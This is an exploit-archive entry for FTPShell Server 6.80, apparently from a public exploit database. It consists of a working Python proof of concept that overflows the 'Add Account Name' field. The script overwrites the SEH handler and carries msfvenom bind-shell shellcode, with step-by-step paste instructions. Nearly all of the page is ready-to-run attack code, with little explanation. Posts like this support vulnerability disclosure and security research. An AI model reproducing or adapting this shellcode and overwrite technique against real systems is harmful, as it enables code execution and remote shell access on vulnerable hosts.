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FTPShell Server 6.80 Add Account Name Buffer Overflow

FTPShell Server 6.80 Add Account Name Buffer Overflow
Posted Sep 5, 2018
Authored by Luis Martinez

FTPShell Server version 6.80 add account name SEH buffer overflow exploit.

tags | exploit, overflow
MD5 | 34568d1e9161102f3afd7f4d22611193

FTPShell Server 6.80 Add Account Name Buffer Overflow

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# Exploit Title: FTPShell Server 6.80 - 'Add Account Name' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-04
# Vendor Homepage: http://www.ftpshell.com/
# Software Link: http://www.ftpshell.com/downloadserver.htm
# Tested Version: 6.80
# Vulnerability Type: Buffer Overflow (SEH) Local
# Tested on OS: Windows XP Professional SP3 x86 es

# Steps to Produce the Buffer Overflow (SEH):
# 1.- Run python code : FTPShell_Server_6.80.py
# 2.- Open FTPShell_Server_6.80.txt and copy content to clipboard
# 3.- Open FTPShell Server Administrator
# 4.- Manage FTP Accounts...
# 5.- Add Account Name
# 6.- Paste ClipBoard on "Account name to ban"
# 7.- OK

#!/usr/bin/env python

#msfvenom -p windows/shell_bind_tcp -b '\x00\x0A\x0D' -f c
shellcode = (
"\xbb\x3c\xd8\x80\xcc\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x53\x31\x5a\x12\x03\x5a\x12\x83\xd6\x24\x62\x39\xda\x3d\xe1"
"\xc2\x22\xbe\x86\x4b\xc7\x8f\x86\x28\x8c\xa0\x36\x3a\xc0\x4c"
"\xbc\x6e\xf0\xc7\xb0\xa6\xf7\x60\x7e\x91\x36\x70\xd3\xe1\x59"
"\xf2\x2e\x36\xb9\xcb\xe0\x4b\xb8\x0c\x1c\xa1\xe8\xc5\x6a\x14"
"\x1c\x61\x26\xa5\x97\x39\xa6\xad\x44\x89\xc9\x9c\xdb\x81\x93"
"\x3e\xda\x46\xa8\x76\xc4\x8b\x95\xc1\x7f\x7f\x61\xd0\xa9\xb1"
"\x8a\x7f\x94\x7d\x79\x81\xd1\xba\x62\xf4\x2b\xb9\x1f\x0f\xe8"
"\xc3\xfb\x9a\xea\x64\x8f\x3d\xd6\x95\x5c\xdb\x9d\x9a\x29\xaf"
"\xf9\xbe\xac\x7c\x72\xba\x25\x83\x54\x4a\x7d\xa0\x70\x16\x25"
"\xc9\x21\xf2\x88\xf6\x31\x5d\x74\x53\x3a\x70\x61\xee\x61\x1d"
"\x46\xc3\x99\xdd\xc0\x54\xea\xef\x4f\xcf\x64\x5c\x07\xc9\x73"
"\xa3\x32\xad\xeb\x5a\xbd\xce\x22\x99\xe9\x9e\x5c\x08\x92\x74"
"\x9c\xb5\x47\xe0\x94\x10\x38\x17\x59\xe2\xe8\x97\xf1\x8b\xe2"
"\x17\x2e\xab\x0c\xf2\x47\x44\xf1\xfd\x76\xc9\x7c\x1b\x12\xe1"
"\x28\xb3\x8a\xc3\x0e\x0c\x2d\x3b\x65\x24\xd9\x74\x6f\xf3\xe6"
"\x84\xa5\x53\x70\x0f\xaa\x67\x61\x10\xe7\xcf\xf6\x87\x7d\x9e"
"\xb5\x36\x81\x8b\x2d\xda\x10\x50\xad\x95\x08\xcf\xfa\xf2\xff"
"\x06\x6e\xef\xa6\xb0\x8c\xf2\x3f\xfa\x14\x29\xfc\x05\x95\xbc"
"\xb8\x21\x85\x78\x40\x6e\xf1\xd4\x17\x38\xaf\x92\xc1\x8a\x19"
"\x4d\xbd\x44\xcd\x08\x8d\x56\x8b\x14\xd8\x20\x73\xa4\xb5\x74"
"\x8c\x09\x52\x71\xf5\x77\xc2\x7e\x2c\x3c\xf2\x34\x6c\x15\x9b"
"\x90\xe5\x27\xc6\x22\xd0\x64\xff\xa0\xd0\x14\x04\xb8\x91\x11"
"\x40\x7e\x4a\x68\xd9\xeb\x6c\xdf\xda\x39")

nSEH = "\xEB\x06\x90\x90"
SEH = "\x47\x05\xFC\x7F" #7FFC0547 POP EDI

buffer = "\x41" * 1268 + nSEH + SEH + shellcode
f = open ("FTPShell_Server_6.80.txt", "w")
f.write(buffer)
f.close()

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